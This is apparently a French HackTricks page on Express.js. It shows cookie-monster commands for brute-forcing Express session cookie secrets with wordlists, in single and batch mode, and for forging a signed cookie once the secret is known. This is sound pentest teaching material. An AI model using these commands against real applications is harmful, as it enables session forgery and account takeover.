NodeJS Express

Reading time: 2 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

L'outil https://github.com/DigitalInterruption/cookie-monster est un utilitaire pour automatiser les tests et la re-signature des secrets de cookie Express.js.

bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session

Liste de mots personnalisée

bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst

Tester plusieurs cookies en mode batch

bash
cookie-monster -b -f cookies.json

Tester plusieurs cookies en utilisant le mode batch avec une liste de mots personnalisée

bash
cookie-monster -b -f cookies.json -w custom.lst

Si vous connaissez le secret, vous pouvez signer le cookie.

bash
cookie-monster -e -f new_cookie.json -k secret

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks